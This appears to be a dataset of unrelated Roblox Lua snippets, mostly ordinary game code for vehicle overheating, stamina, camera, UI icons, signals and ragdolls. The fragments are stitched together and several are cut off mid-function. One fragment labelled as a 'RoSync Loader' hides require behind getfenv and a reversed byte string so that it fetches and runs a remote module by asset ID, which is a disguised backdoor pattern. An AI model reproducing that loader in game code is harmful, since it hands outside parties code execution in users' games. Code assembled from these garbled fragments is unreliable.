task.wait(0.3)
for i = 1, string.len(message) do
announcement.AnnouncementText.Text = string.sub(message, 1, i)
local currentChar = string.sub(message, i, i)
task.wait(currentChar == "\n" and 0.3 or currentChar == " " and 0.04 or 0.02)
end
local announcementTime = string.len(message) / 16
task.wait(announcementTime)
local fadeOutTween = ts:Create(announcement, fadeTweenInfo, {Transparency = 1})
fadeOutTween:Play()
local fadeTextTween = ts:Create(announcement.AnnouncementText, fadeTweenInfo, {TextTransparency = 1})
fadeTextTween:Play()
fadeTextTween.Completed:Wait()
announcement.Visible = false
end
re.OnClientEvent:Connect(function(instruction, message)
if instruction == "ANNOUNCE" then
createAnnouncement(message)
end
end)
|
--[[
BaseCamera - Abstract base class for camera control modules
2018 Camera Update - AllYourBlox
--]]
| |
--easter egg
|
mouse.KeyDown:connect(function(key)
if key=="o" then
Heat = BlowupTemp-11
end
end)
if not FE then
radiator.Oil.Enabled = false
radiator.Antifreeze.Enabled = false
radiator.Liquid.Volume = 0
radiator.Fan:Play()
radiator.Fan.Pitch = 1+FanSpeed
radiator.Steam:Play()
radiator.Liquid:Play()
script.Blown.Value = false
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
radiator.Fan.Volume = FanVolume
else
FanCool = 0
radiator.Fan.Volume = 0
end
Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
radiator.Break:Play()
radiator.Liquid.Volume = .5
radiator.Oil.Enabled = true
radiator.Antifreeze.Enabled = true
script.Parent.Parent.IsOn.Value = false
script.Blown.Value = true
elseif Heat >= BlowupTemp-10 then
radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)
radiator.Smoke.Enabled = true
radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)
else
radiator.Smoke.Enabled = false
radiator.Steam.Volume = 0
end
script.Celsius.Value = Heat
script.Parent.Temp.Text = math.floor(Heat).."°c"
end
else
handler:FireServer("Initialize",FanSpeed)
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
handler:FireServer("FanVolume",FanVolume)
else
FanCool = 0
handler:FireServer("FanVolume",0)
end
Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
handler:FireServer("Blown")
script.Parent.Parent.IsOn.Value = false
script.Blown.Value = true
elseif Heat >= BlowupTemp-10 then
handler:FireServer("Smoke",true,BlowupTemp,Heat)
else
handler:FireServer("Smoke",false,BlowupTemp,Heat)
end
script.Celsius.Value = Heat
script.Parent.Temp.Text = math.floor(Heat).."°c"
end
end
|
-- Function to handle slider button click
|
local function onSliderButtonClick(button)
-- Reset button colors
norm.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
fast.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
max.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
-- Move the sliding indicator to the selected button
local targetSize
local targetSpeed
if button == norm then
targetSize = normalSize
targetSpeed = normalSpd
elseif button == fast then
targetSize = fastSize
targetSpeed = fastSpd
elseif button == max then
targetSize = maxSize
targetSpeed = maxSpd
end
-- Set the uiSpeedUser to the selected speed modifier
uiSpeedUser.Value = targetSpeed
-- Check if the user has permission to change the islandSpeed
if ClipSettings.settings.uiSpeedSetting then
-- Update the islandSpeed setting in the ClipSettings module based on the uiSpeedUser
ClipSettings.islandSpeed = uiSpeedUser.Value
else
-- Use the default islandSpeed from the ClipSettings module if uiSpeedSetting is off
ClipSettings.islandSpeed = ClipSettings.islandSpeed
end
-- Animate the sliding indicator
local tween = TweenService:Create(sliding, tweenInfo, {
Size = targetSize
})
tween:Play()
-- Highlight the selected button
button.BackgroundColor3 = Color3.fromRGB(200, 200, 200)
end
|
--[[
Creates signals via a modulized version of RbxUtility (It was deprecated so this will be released for people who would like to keep using it.
This creates RBXScriptSignals.
API:
table Signal:connect(Function f) --Will run f when the event fires.
void Signal:wait() --Will wait until the event fires
void Signal:disconnectAll() --Will disconnect ALL connections created on this signal
void Signal:fire(Tuple args) --Cause the event to fire with your own arguments
Connect, Wait, DisconnectAll, and Fire are also acceptable for calling (An uppercase letter rather than a lowercase one)
Standard creation:
local SignalModule = require(this module)
local Signal = SignalModule:CreateNewSignal()
function OnEvent()
print("Event fired!")
end
Signal:Connect(OnEvent) --Unlike objects, this does not do "object.SomeEvent:Connect()" - Instead, the Signal variable is the event itself.
Signal:Fire() --Fire it.
--]]
|
local Signal = {}
function Signal:CreateNewSignal()
local This = {}
local mBindableEvent = Instance.new('BindableEvent')
local mAllCns = {} --All connection objects returned by mBindableEvent::connect
--Note to scripters: the 'self' variable is built into lua. Any time a method in a table is called (table:somemethod()), a local variable in that function named "self" is created. This variable is an alias to whatever table the function is part of.
function This:Connect(Func)
assert(This == self, "Expected ':' not '.' calling member function Connect")
assert(typeof(Func) == "function", "Argument #1 of Connect must be a function, got a "..typeof(Func))
local Con = mBindableEvent.Event:Connect(Func)
mAllCns[Con] = true
local ScrSig = {}
function ScrSig:Disconnect()
assert(ScrSig == self, "Expected ':' not '.' calling member function Disconnect")
Con:Disconnect()
mAllCns[Con] = nil
end
return ScrSig
end
function This:DisconnectAll()
assert(This == self, "Expected ':' not '.' calling member function DisconnectAll")
for Connection, _ in pairs(mAllCns) do
Connection:Disconnect()
mAllCns[Connection] = nil
end
end
function This:Wait()
assert(This == self, "Expected ':' not '.' calling member function Wait")
return mBindableEvent.Event:Wait()
end
function This:Fire(...)
assert(This == self, "Expected ':' not '.' calling member function Fire")
mBindableEvent:Fire(...)
end
return This
end
return Signal
|
--[[ Last synced 11/13/2020 10:35 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
--// SERVICES //--
|
local CoreGuiService = game:GetService('CoreGui')
local PlayersService = game:GetService('Players')
local GuiService = game:GetService('GuiService')
local UserInputService = game:GetService('UserInputService')
local StarterGui = game:GetService('StarterGui')
local STS_Settings = script.Parent:WaitForChild('STS_Settings')
local StaminaButton = script.Parent:WaitForChild('Mobile')
local Border = StaminaButton:WaitForChild('Border')
local Bar = script.Parent:WaitForChild('Frame_Bar')
local SprintGui = script.Parent
local UIS = game:GetService("UserInputService")
local TS = game:GetService("TweenService")
local plr = game.Players.LocalPlayer
local player = game.Players.LocalPlayer
local Character = game.Players.LocalPlayer.Character
if Character == nil then
repeat
wait()
until (Character ~= nil)
print('FoundCharacter')
end
local Debounce = false
local Stamina = Character:WaitForChild('Stamina')
local Sprinting = false
local StaminaReductionRate = STS_Settings:WaitForChild('StaminaDeductionAmount').Value -- Amount taken from Stamina per SprintReductionDelay
local StaminaReductionDelay = STS_Settings:WaitForChild('StaminaDeductionDelay').Value -- Time in Seconds for SprintReductionRate to be removed from stamina
local OriginalWalkSpeed = Character.Humanoid.WalkSpeed -- Get Original WalkSpeed
local SprintSpeed = STS_Settings:WaitForChild('SprintSpeed').Value
local RegenerateDelay = STS_Settings:WaitForChild('StaminaRegenerationDelay').Value
local RegenerateValue = STS_Settings:WaitForChild('StaminaRegenerationAmount').Value
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer
local Tools = {}
local IsAToolEquipped = false
local RevertAutoJumpEnabledToFalse = false
local ThumbstickFrame = nil
local StartImage = nil
local EndImage = nil
local MiddleImages = {}
local IsFollowStick = false
local ThumbstickFrame = nil
local OnMoveTouchEnded = nil -- defined in Create()
local OnTouchMovedCn = nil
local OnTouchEndedCn = nil
local TouchActivateCn = nil
local OnRenderSteppedCn = nil
local currentMoveVector = Vector3.new(0,0,0)
|
--[=[
Translates a line into pseudo text while maintaining params
@param line string -- The line to translate
@return string -- The translated line
]=]
|
function PseudoLocalize.pseudoLocalize(line)
local charMap = PseudoLocalize.PSEUDO_CHARACTER_MAP
local out = ""
local isParam = false
for start, stop in utf8.graphemes(line) do
local char = line:sub(start, stop)
if char == "{" or char == "[" or char == "<" then
isParam = true
out = out .. char
elseif char == "}" or char == "]" or char == ">" then
isParam = false
out = out .. char
elseif not isParam and charMap[char] then
out = out .. charMap[char]
else
out = out .. char
end
end
return out
end
|
-----------------
--| Functions |--
-----------------
|
local function OnEquipped()
local myModel = Tool.Parent
local humanoid = myModel:FindFirstChild('Humanoid')
if humanoid then -- Preload animations
ScytheEquipTrack = humanoid:LoadAnimation(ScytheEquipAnimation)
if ScytheEquipTrack then ScytheEquipTrack:Play() end
ScytheIdleTrack = humanoid:LoadAnimation(ScytheIdleAnimation)
if ScytheIdleTrack then ScytheIdleTrack:Play() end
ScytheSlashTrack = humanoid:LoadAnimation(ScytheSlashAnimation)
end
end
local function OnChanged(property)
if property == 'Enabled' and Tool.Enabled == false then
if ScytheSlashTrack then ScytheSlashTrack:Play() end
end
end
local function OnUnequipped()
-- Stop all animations
if ScytheEquipTrack then ScytheEquipTrack:Stop() end
if ScytheIdleTrack then ScytheIdleTrack:Stop() end
if ScytheSlashTrack then ScytheSlashTrack:Stop() end
end
|
-- Tables
|
local function CopyTable(T)
local t2 = {}
for k,v in pairs(T) do
t2[k] = v
end
return t2
end
local function SortTable(T)
table.sort(T,
function(x,y) return x.Name < y.Name
end)
end
|
--//Character//--
|
local Character = script.Parent
local Humanoid = Character:WaitForChild("Humanoid")
|
--- Prepares selection for dragging, and returns the initial state of the selection.
|
function MoveTool:PrepareSelectionForDragging()
local InitialPartStates = {}
local InitialModelStates = {}
-- Get index of parts
local PartIndex = Support.FlipTable(Selection.Parts)
-- Stop parts from moving, and capture the initial state of the parts
for _, Part in pairs(Selection.Parts) do
InitialPartStates[Part] = {
Anchored = Part.Anchored;
CanCollide = Part.CanCollide;
CFrame = Part.CFrame;
}
Part.Anchored = true;
Part.CanCollide = false;
InitialPartStates[Part].Joints = Core.PreserveJoints(Part, PartIndex)
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
end;
-- Get initial model states (temporarily pcalled due to pivot API being in beta)
pcall(function ()
for _, Model in ipairs(Selection.Models) do
InitialModelStates[Model] = {
Pivot = Model:GetPivot();
}
end
end)
-- Get initial state of focused item
local InitialFocusCFrame
local Focus = Selection.Focus
if not Focus then
InitialFocusCFrame = nil
elseif Focus:IsA 'BasePart' then
InitialFocusCFrame = Focus.CFrame
elseif Focus:IsA 'Model' then
InitialFocusCFrame = Focus:GetModelCFrame()
pcall(function ()
InitialFocusCFrame = Focus:GetPivot()
end)
end
return InitialPartStates, InitialModelStates, InitialFocusCFrame
end;
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadRight ,
ContlrToggleTCS = Enum.KeyCode.DPadRight ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
-- PRIVATE METHODS
|
function IconController:_updateSelectionGroup(clearAll)
if IconController._navigationEnabled then
guiService:RemoveSelectionGroup("TopbarPlusIcons")
end
if clearAll then
guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled
guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled
IconController._navigationEnabled = nil
elseif IconController.controllerModeEnabled then
local icons = IconController.getIcons()
local iconContainers = {}
for i, otherIcon in pairs(icons) do
local featureName = otherIcon.joinedFeatureName
if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then
table.insert(iconContainers, otherIcon.instances.iconButton)
end
end
guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers))
if not IconController._navigationEnabled then
IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled
IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled
guiService.CoreGuiNavigationEnabled = false
guiService.GuiNavigationEnabled = true
IconController._navigationEnabled = true
end
end
end
local function getScaleMultiplier()
if guiService:IsTenFootInterface() then
return 3
else
return 1.3
end
end
function IconController._setControllerSelectedObject(object)
local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0
IconController._controllerSetCount = startId
guiService.SelectedObject = object
delay(0.1, function() -- blame the roblox guiservice its a piece of doo doo
local finalId = IconController._controllerSetCount
if startId == finalId then
guiService.SelectedObject = object
end
end)
end
function IconController._enableControllerMode(bool)
local indicator = TopbarPlusGui.Indicator
local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption")
if IconController.controllerModeEnabled == bool then
return
end
IconController.controllerModeEnabled = bool
if bool then
TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5)
TopbarPlusGui.TopbarContainer.Visible = false
local scaleMultiplier = getScaleMultiplier()
indicator.Position = UDim2.new(0.5,0,0,5)
indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier)
indicator.Image = "rbxassetid://5278151556"
indicator.Visible = checkTopbarEnabled()
indicator.Position = UDim2.new(0.5,0,0,5)
else
TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0)
TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabled()
indicator.Visible = false
IconController._setControllerSelectedObject(nil)
end
for icon, _ in pairs(topbarIcons) do
IconController._enableControllerModeForIcon(icon, bool)
end
end
function IconController._enableControllerModeForIcon(icon, bool)
local parentIcon = icon._parentIcon
local featureName = icon.joinedFeatureName
if parentIcon then
icon:leave()
end
if bool then
local scaleMultiplier = getScaleMultiplier()
local currentSizeDeselected = icon:get("iconSize", "deselected")
local currentSizeSelected = icon:get("iconSize", "selected")
local currentSizeHovering = icon:getHovering("iconSize")
icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode")
icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode")
if currentSizeHovering then
icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode")
end
icon:set("alignment", "mid", "deselected", "controllerMode")
icon:set("alignment", "mid", "selected", "controllerMode")
else
local states = {"deselected", "selected", "hovering"}
for _, iconState in pairs(states) do
local _, previousAlignment = icon:get("alignment", iconState, "controllerMode")
if previousAlignment then
icon:set("alignment", previousAlignment, iconState)
end
local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode")
if previousSize then
icon:set("iconSize", previousSize, iconState)
end
end
end
if parentIcon then
icon:join(parentIcon, featureName)
end
end
|
-- Variables.
|
local loadingScreen = script.LoadingScreen
local player = game.Players.LocalPlayer
local clonedLoadingScreen = loadingScreen:Clone()
clonedLoadingScreen.Parent = player:WaitForChild("PlayerGui")
local frame = clonedLoadingScreen.Frame
local bar = frame.LoadingBar
local inside = bar.BarInfill
local skipButton = frame.SkipFrame.SkipButton
local loadingPercentage = frame.DisplayPercentage
local screenVisible = true
local hideAfter = 30
|
--The server will fire the ExitSeat remote to the client when the humanoid has been removed from a seat.
--This script listens to that and uses it to prevent the humanoid tripping when exiting a seat.
--As the player is removed from the seat server side, this scripts listens to the event instead of being
-- inside the ExitSeat function so that:
-- A) The timing is right - the exit seat function will run before the character is unsat by the server
-- B) If a server script removes the player from a seat, the anti-trip will still run
|
local function antiTrip()
local humanoid = getLocalHumanoid()
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
end
end
Remotes.ExitSeat.OnClientEvent:Connect(function(doAntiTrip)
for _, func in pairs(module.OnExitFunctions) do
func(nil)
end
if doAntiTrip then
antiTrip()
end
end)
return module
|
--[=[
Converts this arbitrary value into an observable that will initialize a spring
and interpolate it between values upon subscription.
```lua
local percentVisible = Blend.State(0)
local visibleSpring = Blend.Spring(percentVisible, 30)
local transparency = Blend.Computed(visibleSpring, function(percent)
return 1 - percent
end);
Blend.mount(frame, {
BackgroundTransparency = visibleSpring;
})
```
@param source any
@param speed any
@param damper any
@return Observable?
]=]
|
function Blend.Spring(source, speed, damper)
local sourceObservable = Blend.toPropertyObservable(source) or Rx.of(source)
local speedObservable = Blend.toNumberObservable(speed)
local damperObservable = Blend.toNumberObservable(damper)
local function createSpring(maid, initialValue)
local spring = Spring.new(initialValue)
if speedObservable then
maid:GiveTask(speedObservable:Subscribe(function(value)
assert(type(value) == "number", "Bad value")
spring.Speed = value
end))
end
if damperObservable then
maid:GiveTask(damperObservable:Subscribe(function(value)
assert(type(value) == "number", "Bad value")
spring.Damper = value
end))
end
return spring
end
-- TODO: Centralize and cache
return Observable.new(function(sub)
local spring
local maid = Maid.new()
local startAnimate, stopAnimate = StepUtils.bindToRenderStep(function()
local animating, position = SpringUtils.animating(spring)
sub:Fire(SpringUtils.fromLinearIfNeeded(position))
return animating
end)
maid:GiveTask(stopAnimate)
maid:GiveTask(sourceObservable:Subscribe(function(value)
if value then
local linearValue = SpringUtils.toLinearIfNeeded(value)
spring = spring or createSpring(maid, linearValue)
spring.t = SpringUtils.toLinearIfNeeded(value)
startAnimate()
else
warn("Got nil value from emitted source")
end
end))
return maid
end)
end
|
--Misc
|
Tune.AutoStart = true --set to false if using manual ignition plugin
Tune.AutoFlip = true
|
--print(Valor)
|
if Valor == true then
if Correndo.Value == true then
ChangeStance = true
Correndo.Value = false
Stand()
Stances = 0
end
if Stances == 0 then
Stand()
end
TS:Create(Poses.Levantado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play()
TS:Create(Poses.Agaixado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play()
TS:Create(Poses.Deitado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play()
--Poses.Levantado.ImageColor3 = Color3.fromRGB(100,0,0)
--Poses.Agaixado.ImageColor3 = Color3.fromRGB(100,0,0)
--Poses.Deitado.ImageColor3 = Color3.fromRGB(100,0,0)
--Main.Status.Barra.Stamina.BackgroundColor3 = Color3.fromRGB(170,0,0)
else
if Stances == 0 then
Stand()
end
TS:Create(Poses.Levantado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play()
TS:Create(Poses.Agaixado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play()
TS:Create(Poses.Deitado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play()
--Poses.Levantado.ImageColor3 = Color3.fromRGB(0,0,0)
--Poses.Agaixado.ImageColor3 = Color3.fromRGB(0,0,0)
--Poses.Deitado.ImageColor3 = Color3.fromRGB(0,0,0)
--Main.Status.Barra.Stamina.BackgroundColor3 = Color3.fromRGB(125,125,125)
end
end)
local BleedTween = TS:Create(Main.Poses.Bleeding, TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,-1,true), {ImageColor3 = Color3.fromRGB(150, 0, 0)} )
Sangrando.Changed:Connect(function(Valor)
if Valor == true then
Main.Poses.Bleeding.ImageColor3 = Color3.fromRGB(255,255,255)
Main.Poses.Bleeding.Visible = true
BleedTween:Play()
else
Main.Poses.Bleeding.Visible = false
BleedTween:Cancel()
end
end)
Caido.Changed:Connect(function(Valor)
if Valor == true then
if Stances ~= 0 then
Poses.Levantado.Visible = true
Poses.Agaixado.Visible = false
Poses.Deitado.Visible = false
Poses.Esg_Right.Visible = false
Poses.Esg_Left.Visible = false
CameraX = 0
CameraY = 1
Stances = 0
Correndo.Value = false
Steady = false
Stand()
end
end
end)
local a = Main.Vest.TextBox
local b = Main.Helm.TextBox
local Ener = Main.Poses.Energy
function Vest()
a.Text = math.ceil(Protecao.VestVida.Value)
a.Parent.ImageColor3 = Color3.fromRGB(255,0,0)
TS:Create(a.Parent, TweenInfo.new(2), {ImageColor3 = Color3.fromRGB(255, 255, 255)} ):Play()
if Protecao.VestVida.Value <= 0 then
a.Parent.Visible = false
else
a.Parent.Visible = true
end
end
function Helmet()
b.Text = math.ceil(Protecao.HelmetVida.Value)
b.Parent.ImageColor3 = Color3.fromRGB(255,0,0)
TS:Create(b.Parent, TweenInfo.new(2), {ImageColor3 = Color3.fromRGB(255, 255, 255)} ):Play()
if Protecao.HelmetVida.Value <= 0 then
b.Parent.Visible = false
else
b.Parent.Visible = true
end
end
function Stamina()
if ServerConfig.EnableStamina then
if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
Ener.ImageColor3 = Color3.new(1,saude.Variaveis.Stamina.Value/(saude.Variaveis.Stamina.MaxValue/2),saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
Ener.Visible = true
elseif saude.Variaveis.Stamina.Value < saude.Variaveis.Stamina.MaxValue then
Ener.ImageColor3 = Color3.new(1,1,saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
Ener.Visible = true
elseif saude.Variaveis.Stamina.Value >= saude.Variaveis.Stamina.MaxValue then
Ener.Visible = false
end
else
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.MaxValue
Ener.Visible = false
end
end
Vest()
Helmet()
Stamina()
Protecao.VestVida.Changed:Connect(Vest)
Protecao.HelmetVida.Changed:Connect(Helmet)
saude.Variaveis.Stamina.Changed:Connect(Stamina)
Character.Humanoid.Changed:connect(function(Property)
if ServerConfig.AntiBunnyHop then
if Property == "Jump" and Character.Humanoid.Sit == true and Character.Humanoid.SeatPart ~= nil then
Character.Humanoid.Sit = false
elseif Property == "Jump" and Character.Humanoid.Sit == false then
if JumpDelay then
Character.Humanoid.Jump = false
return false
end
JumpDelay = true
delay(0, function()
wait(ServerConfig.JumpCoolDown)
JumpDelay = false
end)
end
end
end)
local uis = game:GetService('UserInputService')
local Evt = Engine:WaitForChild("Eventos")
local placeEvent = Evt.Rappel:WaitForChild('PlaceEvent')
local ropeEvent = Evt.Rappel:WaitForChild('RopeEvent')
local cutEvent = Evt.Rappel:WaitForChild('CutEvent')
uis.InputBegan:connect(function(input,chat)
if not chat and Rappeling.Value == true then
if input.KeyCode == Enum.KeyCode.C then
ropeEvent:FireServer('Up',true)
end;
if input.KeyCode == Enum.KeyCode.X then
ropeEvent:FireServer('Down',true)
end;
end
end)
uis.InputEnded:connect(function(input,chat)
if not chat and Rappeling.Value == true then
if input.KeyCode == Enum.KeyCode.C then
ropeEvent:FireServer('Up',false)
end;
if input.KeyCode == Enum.KeyCode.X then
ropeEvent:FireServer('Down',false)
end;
end
end)
function L_150_.Update()
local L_174_ = CFrame.new()
L_153_.cornerPeek.t = L_153_.peekFactor * Virar
local L_326_ = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), L_153_.cornerPeek.p) -- SOLUTION TO 3RD PERSON --> CFrame.new(10,0,0) * CFrame.fromAxisAngle(Vector3.new(0,0,1), this.cornerPeek.p)
Camera.CFrame = Camera.CFrame * L_326_ * L_174_
if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
local StaminaX = (1 - (saude.Variaveis.Stamina.Value)/(saude.Variaveis.Stamina.MaxValue/2))/20
Camera.CoordinateFrame = Camera.CoordinateFrame * CFrame.Angles( math.rad( StaminaX * math.sin( tick() * 3.5 )) , math.rad( StaminaX * math.sin( tick() * 1 )), 0)
end
end
local Nadando = false
function onStateChanged(_,state)
--print(state)
if state == Enum.HumanoidStateType.Swimming then
Nadando = true
else
Nadando = false
end
end
maxAir = 100
air = maxAir
lastHealth = 100
lastHealth2 = 100
maxWidth = 0.96
Humanoid.StateChanged:connect(onStateChanged)
game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update)
while wait() do
if ServerConfig.CanDrown then
local headLoc = game.Workspace.Terrain:WorldToCell(player.Character.Head.Position)
local hasAnyWater = game.Workspace.Terrain:GetWaterCell(headLoc.x, headLoc.y, headLoc.z)
if player.Character.Humanoid.Health ~= 0 then
if hasAnyWater then
if air > 0 then
air = air-0.15
elseif air <= 0 then
air = 0
Evt.Afogar:FireServer()
end
else
if air < maxAir then
air = air + .5
end
end
end
if air <= 50 then
script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,air/50,air/100)
script.Parent.Frame.Oxygen.Visible = true
elseif air < maxAir then
script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,1,air/100)
script.Parent.Frame.Oxygen.Visible = true
elseif air >= maxAir then
script.Parent.Frame.Oxygen.Visible = false
end
script.Parent.Efeitos.Oxigen.ImageTransparency = air/100
if air <= 25 then
script.Parent.Efeitos.Oxigen.BackgroundTransparency = air/25
end
end
if ServerConfig.EnableStamina then
if Correndo.Value == true and Velocidade > 0 then
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value - ServerConfig.RunValue
elseif Stances == 0 and (Correndo.Value == false or Velocidade <= 0) then
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.StandRecover
elseif Stances == 1 and (Correndo.Value == false or Velocidade <= 0) then
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.CrouchRecover
elseif Stances == 2 and (Correndo.Value == false or Velocidade <= 0) then
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.ProneRecover
end
end
end
|
--// SS3 controls for AC6 by Itzt, originally for 2014 Infiniti QX80. i don't know how to tune ac lol
|
wait(0.1)
local player = game.Players.LocalPlayer
local HUB = script.Parent.HUB
local TR = script.Parent.Tracker
local limitButton = HUB.Name
local FE = game.Workspace.FilteringEnabled
local lightOn = false
local Camera = game.Workspace.CurrentCamera
local cam = script.Parent.nxtcam.Value
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local windows = false
local handler = carSeat:WaitForChild('Filter')
local winfob = HUB.Parent.Music
local pal = false
local palpal = HUB.Parent.Palette
local red = 0
local green = 0
local blue = 1
local debounce = false
|
-- Replace the values of these variables with true or false to control which Core GUI elements should be disabled initially
|
local DISABLE_COREUI = EasyLoadConfig.ShowCoreUI
|
-- RAGDOLL A R6 CHARACTER.
|
local function getAttachment0(attachmentName, char)
for _,child in next,char:GetChildren() do
local attachment = child:FindFirstChild(attachmentName)
if attachment then
return attachment
end
end
end
local function ragdollPlayer(char)
local head = char["Head"]
local hum = char:WaitForChild("Humanoid")
local leftarm = char["Left Arm"]
local leftleg = char["Left Leg"]
local rightleg = char["Right Leg"]
local rightarm = char["Right Arm"]
local torso = char.Torso
hum.PlatformStand = true
local root =char:FindFirstChild("HumanoidRootPart")
if root ~= nil then
root:Destroy()
end
local rootA =Instance.new("Attachment")
local HeadA = Instance.new("Attachment")
local LeftArmA = Instance.new("Attachment")
local LeftLegA = Instance.new("Attachment")
local RightArmA = Instance.new("Attachment")
local RightLegA = Instance.new("Attachment")
local TorsoA = Instance.new("Attachment")
local TorsoA1 = Instance.new("Attachment")
local TorsoA2 = Instance.new("Attachment")
local TorsoA3 = Instance.new("Attachment")
local TorsoA4 = Instance.new("Attachment")
local TorsoA5 = Instance.new("Attachment")
local impactH = script.ImpactSound:Clone()
impactH.Parent = head
impactH.Disabled = false
local impactLA = script.ImpactSound:Clone()
impactLA.Parent = leftarm
impactLA.Disabled = false
local impactRA = script.ImpactSound:Clone()
impactRA.Parent = rightarm
impactRA.Disabled = false
local function set1()
HeadA.Name = "HeadA"
HeadA.Parent = head
HeadA.Position = Vector3.new(0, -0.5, 0)
HeadA.Rotation = Vector3.new(0, 0, 0)
HeadA.Axis = Vector3.new(1, 0, 0)
HeadA.SecondaryAxis = Vector3.new(0, 1, 0)
LeftArmA.Name = "LeftArmA"
LeftArmA.Parent = leftarm
